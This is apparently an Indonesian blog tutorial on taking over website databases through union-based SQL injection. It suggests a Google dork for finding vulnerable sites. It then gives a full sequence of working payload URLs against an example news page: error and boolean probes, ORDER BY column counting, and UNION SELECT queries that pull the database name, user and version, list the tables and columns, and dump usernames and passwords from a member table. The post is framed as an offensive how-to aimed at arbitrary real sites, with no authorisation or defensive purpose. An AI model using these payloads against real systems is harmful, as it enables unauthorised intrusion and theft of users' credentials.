skip to main | skip to sidebar

Mengambil Alih Database Website dengan SQLi

Halo sahabat No Light, bagaimana kabarnya ? kali ini saya akan membagikan tutorial mengenai SQL Injection. Di tutorial sebelumnya kita sudah belajar untuk membypass akses login dengan SQLi, nah sekarang kita akan menggunakan tehnik tersebut untuk mengambil alih ( takeover ) database sebuah website. Seperti biasa saya tidak akan menjelaskan terlalu banyak, hanya poin pentingnya saja dan kalian harus mencobanya sendiri.


Untuk target website yang memiliki kerentanan terhadap SQLi kalian dapat menemukannya dengan menggunakan google dork, masukan kata kunci dibawah ini pada kolom pencarian google :

inurl: id=

Kalian ambil contoh semisal pada website, dengan alamat :

https://webrusak.com/berita.php?id=10

Jadi disini kita akan memasukan payload SQLi pada parameter "id" yang ada pada URL. Ikuti langkah berikut :
1) Cek kerentanan dengan menambahkan tanda petik pada nilai parameter.

URL : https://webrusak.com/berita.php?id=10'

2) Jika website menampilkan error atau hanya blank ( kosong ), berarti website tersebut memiliki kerentanan.


Lalu cek lagi dengan menambahkan and 1=1 -- - sehingga

URL : https://webrusak.com/berita.php?id=10' and 1=1 -- -

Jika error, hilangkan petiknya

URL : https://webrusak.com/berita.php?id=10 and 1=1 -- -

Jika website menampilkan halaman normal ganti and 1=1 dengan and 1=0 jika website tidak error dan menampilkan halaman kosong ( blank ) berarti dapat dipastikan website tersebut rentan. Setelah itu kita cari banyak kolom website dengan order by kolom. Pertama kita masukan kolom 99.

URL : https://webrusak.com/berita.php?id=10 and 1=0 order by 99 -- -

Jika error kurangi kolom menjadi 20.
- Kurangi denga 1 jika masih error, dan sampai tidak error ( berarti itu adalah jumlah kolom nya )
- Tambah dengan 1 jika tidak error, dan sampai error ( berarti jumlah kolom adalah kolom yang sebelum error )
Saya harap dapat di pahami.

Setelah itu kita gunakan union select untuk menambahkan record yang diambil dari database. Ilustrasinya seperti ini :


Tabel atas adalah data / record yang diambil dari database, Tabel bawah adalah data yang dimasukan lewat union select. Kita masukan banyak kolom sesuai dengan kolom yang sudah ditemukan dengan menggunakan order by tadi, Payload seperti ini ( semisal jumlah kolomnya 5 ) :

URL : https://webrusak.com/berita.php?id=10 and 1=0 union select 1,2,3,4,5 -- -

Semisal kita mendapatkan tampilan ini :


Kita tampilkan informasi yang kita inginkan pada kolom dengan nomor seperti diatas. Semisal mendapatkan nama database, dengan perintah database().

URL : https://webrusak.com/berita.php?id=10 and 1=0 union select 1,2,3,database(),5 -- -

Mendapatkan informasi user dan versi yang digunakan server.

URL : https://webrusak.com/berita.php?id=10 and 1=0 union select 1,2,3,user(),5 -- -
URL : https://webrusak.com/berita.php?id=10 and 1=0 union select 1,2,3,@@version,5 -- -

Mendapatkan tabel yang ada pada database.

URL : https://webrusak.com/berita.php?id=10 and 1=0 union select 1,2,3,group_concat(table_name, ','),5 from information_schema.tables -- -

Mengambil nama kolom dari tabel tertentu. Semisal nama tabelnya "member".

URL : https://webrusak.com/berita.php?id=10 and 1=0 union select 1,2,3,group_concat(column_name, '|'),5 from information_schema.columns where table_name = 'member' -- -

Melihat isi / record dari sebuah tabel. Semisal kita sudah mendapatkan nama kolomnya "username" dan "password".

URL : https://webrusak.com/berita.php?id=10 and 1=0 union select 1,2,3,group_concat(username, '-', password,'|'),5 from member -- -

Itu saja untuk kali ini semoga dapat dipahami dan bermanfaat. Jika ada kebingungan silahkan tulis di kolom komentar, sampai jumpa pada tutorial berikutnya.

0 komentar:

Post a Comment